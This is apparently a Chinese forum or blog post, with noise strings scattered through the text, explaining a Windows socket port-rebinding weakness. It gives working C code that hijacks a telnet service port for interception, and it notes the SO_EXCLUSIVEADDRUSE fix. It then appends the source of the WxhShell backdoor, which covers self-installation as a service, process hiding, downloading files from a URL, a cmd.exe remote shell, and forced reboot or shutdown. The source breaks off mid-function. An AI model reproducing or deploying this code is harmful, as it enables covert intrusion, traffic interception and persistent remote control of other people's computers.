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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zyTP|SXk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2't<Hl1qN
tS,nO:+x saddr.sin_family = AF_INET; Pw/Z;N;:V vz:P2TkM saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q[^IX b:/ ; bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z]ZhvH7- kf+]bV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )n 1b 6\ /x 这意味着什么?意味着可以进行如下的攻击: 1g6AzUXg 78>)<$+d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Jq~EB{" GHeJpS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
O[f* ! B"T Z8(< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Tx?,]c,(u SCE5|3j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 H];|<G 1"3|6&= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'M185wDdAl Z`nHpmNM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5<bc>A- ;4tVFqR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }$3eRu + ^D\1F$AjC #include [Hz_x(t26 #include Q[_{:DJA #include Xn-GSW3{ #include Xu`c_ DWORD WINAPI ClientThread(LPVOID lpParam); `,d*> int main() -_Pd d[M { j*>+^g\Q6 WORD wVersionRequested; q%TWtQS DWORD ret; &=H{ 36i@ WSADATA wsaData; q}>1Rr|U` BOOL val; KJ<7aZ SOCKADDR_IN saddr; \UM9cAX` SOCKADDR_IN scaddr; i`/_^Fndyu int err; l CHaRR7 SOCKET s; SA&0f&07i SOCKET sc; \"B?'Ep; int caddsize; >f #P( HANDLE mt; qPZ'n=+ DWORD tid; % eWzr wVersionRequested = MAKEWORD( 2, 2 ); ;]zV ?9 err = WSAStartup( wVersionRequested, &wsaData ); e*p7(b- if ( err != 0 ) { }#'wy printf("error!WSAStartup failed!\n"); 6M9t<DQV return -1; !spp*Q)#\ } w2!G"oD saddr.sin_family = AF_INET; u- PAi5&n n/#zx:d? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )I'?]p< p3ox%4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); exw~SvT3 saddr.sin_port = htons(23); 1ael{b! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S[,! { ;q]Jm printf("error!socket failed!\n"); B*btt+6 return -1; O=UXe]D } :;W[@DeO[ val = TRUE; kcKcIn{ //SO_REUSEADDR选项就是可以实现端口重绑定的 Pe6}y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V(_OyxeC{2 { DhY.5 printf("error!setsockopt failed!\n"); CsHHJgx return -1; K}"xZy Tm1 } YXI_ ' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i'9aQi"G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wqB{cr}! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eqbQ,, & zWKnkIit, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q/U(j&8W{ { /5Aum?~ ret=GetLastError(); g^|}e? printf("error!bind failed!\n"); r/zuo6"5 return -1; Y,Dd}an } %@
UH,Ew listen(s,2); ir/m.~? while(1) F: %-x=q { 2Ya)I k{ caddsize = sizeof(scaddr); -4ry)isYx //接受连接请求 ^hq+
L^$^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m ;-FP 2~ if(sc!=INVALID_SOCKET) 0/K?'&$yvb { %@tKcQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /jl{~R#1 if(mt==NULL) p=%Vo@*] { _5TSI'@.4 printf("Thread Creat Failed!\n"); :5Vk+s]8 break; G165grGFd } uQh dg4 } ]v^/c~"${ CloseHandle(mt); +UbSqp1BS } {gh41G;n closesocket(s); fkf69,+"] WSACleanup(); {!!df.h return 0; 1o"/5T:S[ } S(NH# ^ DWORD WINAPI ClientThread(LPVOID lpParam) AGaM
&x= { c%1k'Q SOCKET ss = (SOCKET)lpParam; O/g|E47 SOCKET sc; {UqS q unsigned char buf[4096]; <0lXJqd SOCKADDR_IN saddr; /`(Kbwh long num; 8vQGpIa, DWORD val; fH#yJd2?f DWORD ret; dRwOt //如果是隐藏端口应用的话,可以在此处加一些判断 ]0N'Wtbn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 e7e6b-"_2 saddr.sin_family = AF_INET; t^_0w[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eC%uu saddr.sin_port = htons(23); wq yw#)S if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `=m[(CLb { 590.mCm printf("error!socket failed!\n"); ?%RAX CK return -1; GJZGHUB=> } vTnrSNdSE val = 100; b#ga if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )ph**g { K:!){a[ ret = GetLastError(); ]U[y3 return -1; hxG=g6:G } D5]AL5=Xt2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tW<i;2 l { EY3x o-H ret = GetLastError(); k^<s|8Y return -1; 5x$/.U
} mjgwU8'![ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ggluQGA { 'XW[uK]w) printf("error!socket connect failed!\n"); H CBZ*Z- closesocket(sc); eKRslMa closesocket(ss); t "y[ return -1; b\6)whh } L'i0|_ while(1) 7
s+j) { s*'L^>iZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [tN^)c`s/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 MmIVTf4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TtZZjeg+V num = recv(ss,buf,4096,0); oZM6%-@qi if(num>0) ~bm
VpoI send(sc,buf,num,0); @ P:b\WCI else if(num==0) 7JC^+rk break; 4Vv~ num = recv(sc,buf,4096,0); FEOr'H<3x if(num>0) X?6E0/r&9 send(ss,buf,num,0); MHF31/g\ else if(num==0) ! z!lQ~ break; ( I<]@7> } a#i85su closesocket(ss); %62W[Oh5 closesocket(sc); F4P=Wz] return 0 ; p#14 } 3K{XT), ]lBe oAnNdo ========================================================== ^Rel-=Z$B P<.
TiF?@ 下边附上一个代码,,WXhSHELL aJ!(c}N~97 )7X+T'?% ========================================================== CsJ38]=Mt Z`_`^ \" #include "stdafx.h" Sf_q;Ws 0LX"<~3j #include <stdio.h> {J aulg #include <string.h> #=}dv8 #include <windows.h> o0yyP,?yh #include <winsock2.h> t=-t xnlr< #include <winsvc.h> 33R1<dRk #include <urlmon.h> ;Avz%2#c` tVAWc$3T #pragma comment (lib, "Ws2_32.lib") ] ^f7s36 #pragma comment (lib, "urlmon.lib") 4=;.< q+j.)e #define MAX_USER 100 // 最大客户端连接数 $q"/q*ys #define BUF_SOCK 200 // sock buffer 8Ce|Q8<8] #define KEY_BUFF 255 // 输入 buffer Y 6NoNc]h *8QESF9 #define REBOOT 0 // 重启 o+NPe36 #define SHUTDOWN 1 // 关机 \vH /bL 4yZ'+\ +I #define DEF_PORT 5000 // 监听端口 dwH8Zg$B 98c##NV(7| #define REG_LEN 16 // 注册表键长度 sl5y1W/]] #define SVC_LEN 80 // NT服务名长度 )+Nm@+B Z$UPLg3=;_ // 从dll定义API YsX&]4vzm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]q,5'[=~4h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zC@ ziH>{] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vxr_2Kra typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %i!=.7o. ?&ow:OH+ // wxhshell配置信息 Qkk3>{I struct WSCFG { b`W2^/D int ws_port; // 监听端口 S.: m$s char ws_passstr[REG_LEN]; // 口令 a{4Wg: int ws_autoins; // 安装标记, 1=yes 0=no :,<G6"i char ws_regname[REG_LEN]; // 注册表键名 iRbTH}4i char ws_svcname[REG_LEN]; // 服务名 Q140b;Z char ws_svcdisp[SVC_LEN]; // 服务显示名 `6R.*hq char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;)6LX- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |UudP?E int ws_downexe; // 下载执行标记, 1=yes 0=no )A@
}mIs" char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" +hUS
sR& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A#b`{C~l fXL&?~fS }; "8.to=Lx b I%Sq+"} // default Wxhshell configuration P!6v0ezN struct WSCFG wscfg={DEF_PORT, d`XC._%^J "xuhuanlingzhe", ^R g=*L 1, ?g~w6|U(r "Wxhshell", 3Y;<Q>roT "Wxhshell", ].TAZ-4s "WxhShell Service", zeC@!,lH "Wrsky Windows CmdShell Service", ~PTqR2x "Please Input Your Password: ", N7wKaezE 1, ak SUk)}e " http://www.wrsky.com/wxhshell.exe", m
L#%H( "Wxhshell.exe" ]j4Nl?5*x }; ?(t{VdZSzQ O_E\(So // 消息定义模块 n?UFFi+a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $]
gwaJ: char *msg_ws_prompt="\n\r? for help\n\r#>"; =\QKzQ'BC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; {vp|f~}zTw char *msg_ws_ext="\n\rExit."; q7z;b A char *msg_ws_end="\n\rQuit."; Y=NXfTc char *msg_ws_boot="\n\rReboot..."; p aQ"[w char *msg_ws_poff="\n\rShutdown..."; 5qe6/E@ char *msg_ws_down="\n\rSave to "; `rwzCwA1 Fm{/&U^ char *msg_ws_err="\n\rErr!"; +zl2|' char *msg_ws_ok="\n\rOK!"; M0B6v}^H 9<" .1 char ExeFile[MAX_PATH]; Iu)76Y@=5= int nUser = 0; (G E) HANDLE handles[MAX_USER]; KTmduf7DL int OsIsNt; nfldj33* >qqI6@h]c SERVICE_STATUS serviceStatus; ORc20NFy7 SERVICE_STATUS_HANDLE hServiceStatusHandle; Tc3~~ X J{69iQ // 函数声明 fQ[&
^S$ int Install(void); ,/bSa/x` int Uninstall(void); b|rMmx8vA int DownloadFile(char *sURL, SOCKET wsh); u%s@B1j int Boot(int flag); x;w^&<hQ\ void HideProc(void); TJ5g?#Wul int GetOsVer(void); K1_]ne)
int Wxhshell(SOCKET wsl); #W]4aZ1 void TalkWithClient(void *cs); 8V08>M int CmdShell(SOCKET sock); !5wuBJ0 int StartFromService(void); 76} a int StartWxhshell(LPSTR lpCmdLine); c; MF HCCEIgCT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1DTA Dh0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); CyWMr/' NCXr$ES{ // 数据结构和表定义 ,Fv8&tR SERVICE_TABLE_ENTRY DispatchTable[] = >l>;"R9N { b3vPGR {wscfg.ws_svcname, NTServiceMain}, w nPg ). {NULL, NULL} j "^V?e5 }; )' hOW*v O:I"<w 9_1 // 自我安装 4g%BCGsys int Install(void) d%EUr9~? { Eq\PSa=gz char svExeFile[MAX_PATH]; $;V?xZm[ HKEY key; 'G#T 6B! strcpy(svExeFile,ExeFile); 9_4bw9A 2VZdtz // 如果是win9x系统,修改注册表设为自启动 {\P`-'C if(!OsIsNt) { SKUri if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j-CSf(qIj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'f
"KV| RegCloseKey(key); ?x\tE] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%77X/%.Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A><q-`bw RegCloseKey(key); J}{a&3@Hm return 0; 45qSt2 } AWG;G+ } !#[=,'Y } 2X)n.%4g$; else { Z=|NoDZ }j_2K1NS{ // 如果是NT以上系统,安装为系统服务 [#3*R_#8R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [2l2w[7Rid if (schSCManager!=0) 6!;eJYj, { P\nz;}nv SC_HANDLE schService = CreateService CC~:z/4,N ( d$?sS9"8( schSCManager, xl]1{$1M wscfg.ws_svcname, A#@9|3 wscfg.ws_svcdisp, ^{m&2l&87 SERVICE_ALL_ACCESS, e*Gt%' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _[:>!ekx SERVICE_AUTO_START, Nj^:8]D)0 SERVICE_ERROR_NORMAL, `alQmGUZ svExeFile, T!F0_< NULL, *i)3q+%. NULL, o]jPG NULL, knS(\51A NULL, P2t{il NULL F3Y/Miw ); ~M!9E]) if (schService!=0) iu$:_W_ { \Aa{]t CloseServiceHandle(schService); ~TvKMW6/# CloseServiceHandle(schSCManager); xk/osbKn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |}07tUq strcat(svExeFile,wscfg.ws_svcname); MKPw;@- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;J&p17~T9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (]}52%~ RegCloseKey(key); ulAOQGZ return 0; V0O6\)/. } >[A7oH } 0LW|5BVbIO CloseServiceHandle(schSCManager); oj'a%mx } n]Z() "D } k7cM.<s! ^fq^s T.$ return 1; 1I#]OY#> } ~B704i =uil3:,[S // 自我卸载 \YZ7 int Uninstall(void) qPvWb1H: { gT&s &0_7 HKEY key; tSf$`4 t8:QK9|1 if(!OsIsNt) { 6VQe?oh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lB<
kf1[ RegDeleteValue(key,wscfg.ws_regname); ri?k}XnhX RegCloseKey(key); CUI\:a- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f[s|<U^ RegDeleteValue(key,wscfg.ws_regname);
5B)z}g^h RegCloseKey(key); Q?xCb return 0; RO!em~{D* } /9o
gg } I8%Uyap{ } (l_/ HQ32 else { O}Mu_edM \&jmSa=]l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p2I9t| if (schSCManager!=0) ,3P@5Ef { bSvr8FY3d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r
Y#^C if (schService!=0) ygo4. { *2^+QKDG if(DeleteService(schService)!=0) { uozK'L CloseServiceHandle(schService); eR|u']Em>T CloseServiceHandle(schSCManager); $O[$<D%H return 0; b uOpHQn } U'oFW@Y;h CloseServiceHandle(schService); 'L5ih|$> } g)`;m%DG6 CloseServiceHandle(schSCManager); 5==hyIy }
z?M_Cz;:J } 30fqD1_{ {4^NZTjd@ return 1; vAt]N)R } #e*jP&1S J-U5_>S // 从指定url下载文件 Ej#pM. int DownloadFile(char *sURL, SOCKET wsh) 0=erf62= { O =gv2e HRESULT hr; ,>Yl(=& char seps[]= "/"; uWjSqyb: char *token; duq(K9S char *file; EFdo-.Ax char myURL[MAX_PATH]; VOkSR6 char myFILE[MAX_PATH]; ;k fl5 Yj{-|2YzL strcpy(myURL,sURL); 8:gUo8 token=strtok(myURL,seps); CwdeW.A"j while(token!=NULL) =~P)7D6 { 4T??8J-J file=token; yR$ld.[uf token=strtok(NULL,seps); nmWo:ox4;( } IY40d^x ={G0p=~+,p GetCurrentDirectory(MAX_PATH,myFILE); bB+ 4 strcat(myFILE, "\\"); _)XZ;Q strcat(myFILE, file); ojG;[@V send(wsh,myFILE,strlen(myFILE),0); %/}46z9\ send(wsh,"...",3,0); >`=9So_J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4r tNvf5` if(hr==S_OK) khQ@DwO*\= return 0; }l<:^lX else 59#o+qo4 return 1; S>;+zVF] (b#4Z } W!o|0u!D #D ]P3 // 系统电源模块 i TLX=.M int Boot(int flag) 4'#?"I { &B?*|M`)k HANDLE hToken; nw,XA0M3 TOKEN_PRIVILEGES tkp; h1Nd1h@- n%K^G4k^ if(OsIsNt) { 7fXta|eP0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CNl @8&R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Id^)WEK4 tkp.PrivilegeCount = 1; ,!vI@>nhG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g@|2z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3,^. if(flag==REBOOT) { S~hoAl"xb/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P^^WViVX return 0; QX$3"AZ~ } BF/l#)$yK else { `Rx\wfr} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PrhGp
_5 return 0; {NUI8AL46A } 3W3)%[ 5 } /N7.|XI. else { a)QSq<2* if(flag==REBOOT) { SsCV}[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9?tG?b0 return 0; w&x$RP } p8(Z{TSv else { @kW RI* m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C;I:?4 return 0; Cg3 d } +}x\|O } [w{x+6uX' Sf'uKSX1% return 1; wY=k$ } 5pH6] $ ^l{q{O7U$ // win9x进程隐藏模块 PVaqKCj:6W void HideProc(void) _sK{qQxvM= { g4^3H3Pd Pos(`ys; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w5`EJp8MC if ( hKernel != NULL ) nLY(%):(P { )x3p7t)# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Slv91c&md, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c Rv#aV FreeLibrary(hKernel); s"~3.J } G=PX'dS q0{ _w return; |#ZMZmo{ } tE<'*o' s)G?5Gz // 获取操作系统版本 1#KBf[0 int GetOsVer(void) \Vx_$E { t!\B6!Fo OSVERSIONINFO winfo; +!mEP> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =Q #d0Q GetVersionEx(&winfo); %5!K?,z% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <72q^w return 1; RMHJI6?LB else y I} > return 0; sAS[wcOQ } `(M0I!t 3fxcH // 客户端句柄模块 yof8L WXx int Wxhshell(SOCKET wsl) {uurLEe? { "R]wPF5u SOCKET wsh; nh+Hwj#(x struct sockaddr_in client; *p0Kw> DWORD myID; ]GBlads V1yP{XT= while(nUser<MAX_USER) QzxEkTc; { V[0
ZNT& int nSize=sizeof(client); ZF@$3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +
/>f?+ if(wsh==INVALID_SOCKET) return 1; kS4YxtvB 0YAH[YF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S0`u!l89( if(handles[nUser]==0) 6+4SMf3 closesocket(wsh); 3)y=}jw else Xi;<O&+ nUser++; K[S)e!\. } NueuCiP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CU:HTz= 3mhjwgP<nn return 0; <m~{60{ } [qU`}S2 fr`Q
5!0 // 关闭 socket OZEbs 7 void CloseIt(SOCKET wsh) $LVzhQlD { }Fsr"RER@{ closesocket(wsh); J-qUJX~4c nUser--; 6!SW]#sD ExitThread(0); 2I283%xr } -$$mr U _9'hmej // 客户端请求句柄 n=?wX#rEC# void TalkWithClient(void *cs) MT6"b { Yl=-j 'Y/kF1,* SOCKET wsh=(SOCKET)cs; 7CH.BY char pwd[SVC_LEN]; qkqtPbQ 7 char cmd[KEY_BUFF]; i,t!17M: char chr[1]; 0lV;bVa% int i,j; *c
9S. q]U!n while (nUser < MAX_USER) { V9jxmu F, F"1tPWn if(wscfg.ws_passstr) { Q\>mg*79 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - ,?LS w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O[\mPFu5 //ZeroMemory(pwd,KEY_BUFF); iH~A7e62OZ i=0; iNc!zA4 while(i<SVC_LEN) { _mJhY0Oc 2A:&Cqo // 设置超时 q[9N4nj$< fd_set FdRead; tEt46]{ struct timeval TimeOut; w|Ry)[ FD_ZERO(&FdRead); 0f@9y FD_SET(wsh,&FdRead); a l9(
9) TimeOut.tv_sec=8; aKE`nA0\B TimeOut.tv_usec=0; /pV N1Yt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kv)} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5 D=r7 CM%;/[WBxy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4I .'./u pwd =chr[0]; TZGk[u^* if(chr[0]==0xd || chr[0]==0xa) { I0qJr2[X~ pwd=0; 'Lw8l `7 break; ([^#.x)hz } c,O;B_}M] i++; R+_!FnOJ } KuW>^mF(I ?1zGs2Qs // 如果是非法用户,关闭 socket [4aw*M1z}. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]0BX5Z' } 9C=*>I27? 6nREuT'k send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Djdd|Z+*{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NCY2^ 5W$Jxuyqj while(1) { .Z#/%y3S c&,q`_t ZeroMemory(cmd,KEY_BUFF); Z}t^i^u q"oNFHYPDs // 自动支持客户端 telnet标准 c{ +bY.J j=0; y0ObcP.MA while(j<KEY_BUFF) { nA{yH}D4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zG8g}FrzG; cmd[j]=chr[0]; &W c$VDC if(chr[0]==0xa || chr[0]==0xd) { I>##iiKN cmd[j]=0; OhMJt&s9P= break; -Sn'${2 } F n iht< j++; n>7aZ1Qa } y/kB`Z(Yj T\(k=0RM // 下载文件 ly35n` if(strstr(cmd,"http://")) { =FI[/"476 send(wsh,msg_ws_down,strlen(msg_ws_down),0); aEh9za if(DownloadFile(cmd,wsh)) t%J1(H send(wsh,msg_ws_err,strlen(msg_ws_err),0); k<MQ else 13w(Tf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $zU%?[J } 3Pgokj
else { vU5}E\Ny 0FY-e~xr switch(cmd[0]) { >fth
iA Y/"t! // 帮助 aWH case '?': { RgL>0s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /nu z_y\J break; <VQ)}HW;k } yTh%[k // 安装 zx,9x*g case 'i': { (vX<Bh if(Install()) eV/oY1B]< send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("r:L<xe& else erbk( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `CC=?E break; A<"<DDy } [p~,;% // 卸载 Kd58'$ case 'r': { E`V\/`5D if(Uninstall()) 2%6 >)| send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?FjnG_Uz`D else YYPJ(o\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W3d+t?28 break; uwr7 .\7 } -`eB4j'7 // 显示 wxhshell 所在路径 y+w,j] case 'p': { @SpP"/)JY char svExeFile[MAX_PATH]; v3FdlE strcpy(svExeFile,"\n\r"); ciiI{T[Z strcat(svExeFile,ExeFile); OXbShA&1 send(wsh,svExeFile,strlen(svExeFile),0); Gyy4zK break; Ie(.T2K } MpGG}J[y // 重启 A_9J~3 case 'b': { yz=X{p1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QIevps* if(Boot(REBOOT)) noL9@It0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); QkW'tU\^ else { vNrn]v=|}7 closesocket(wsh); VN`fZ5*d~ ExitThread(0); ;RX u}pd } Cl9 nmyf
break; *o4a<.hd2 } _oCNrjt9 // 关机 X!/Sk1 case 'd': { `>`b;A4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $7c,<= if(Boot(SHUTDOWN)) uC#@qpzy send(wsh,msg_ws_err,strlen(msg_ws_err),0); qy)~OBY else {
Owi/e closesocket(wsh); YzQ1c~+ ExitThread(0); QDV+( } $--+M
D29Q break; f$:SacF } G$MEVfd" // 获取shell .#$2,"8 case 's': { :S_]!'H CmdShell(wsh); {&mHfN closesocket(wsh); ,xVAJ6_# ExitThread(0); {vCtp break; AH5;6Q } zU+q03l8Ur // 退出 ,!^5w,P: case 'x': { ],S {?!'1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *wj5( B<y CloseIt(wsh); FA$32*v break; 2~?E' } dCTyfXou[= // 离开 Yg3nT:K_Y& case 'q': { OM&GypP6& send(wsh,msg_ws_end,strlen(msg_ws_end),0); E'DHO2
Y closesocket(wsh); bIyg7X)/ WSACleanup(); m 0vW< exit(1); ceJi|`F break; J:glJ'4E } -Z$u[L [c } 'u;O2$ } pC>h"Hy 1VlU'qY // 提示信息 `>)Ge](oN if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @|c]) } %J^x `P } {#k[-\|; yvoz 3_! return; %}VH5s9\ } Lm2)3;ei >a<1J(c // shell模块句柄 ,_RNZ
sa;& int CmdShell(SOCKET sock) #Ir?v { >!xyA; STARTUPINFO si; G_S>{<[ ZeroMemory(&si,sizeof(si)); pLtw|S'4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }}QR' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > ]^'h PROCESS_INFORMATION ProcessInfo; ^.!jD+=I char cmdline[]="cmd"; "O4A&PJD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); * /n8T]s return 0; ~s'tr&+ } !EhKg)y= Nb`qM]& // 自身启动模式 #6<1
=I'j int StartFromService(void) za@/4z { ()?83Xj[c typedef struct z m$Sw0#( { ~EPVu DWORD ExitStatus; TjEXR$:< DWORD PebBaseAddress; ^D$|$=|DH DWORD AffinityMask; daI_@k Y" DWORD BasePriority; ^x: lB> ULONG UniqueProcessId; mnsl$H_4S ULONG InheritedFromUniqueProcessId; BA]$Fi.Mw } PROCESS_BASIC_INFORMATION; P U/<7P* i#`q<+/q PROCNTQSIP NtQueryInformationProcess; M>]A!W= bH e'
U> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :]@c%~~!& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4}uOut "a8E0b HANDLE hProcess; c
Rq2 re PROCESS_BASIC_INFORMATION pbi; jfY7ich :]m.&r S, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f|~ {j(.v if(NULL == hInst ) return 0; k~"Eh]38 ,
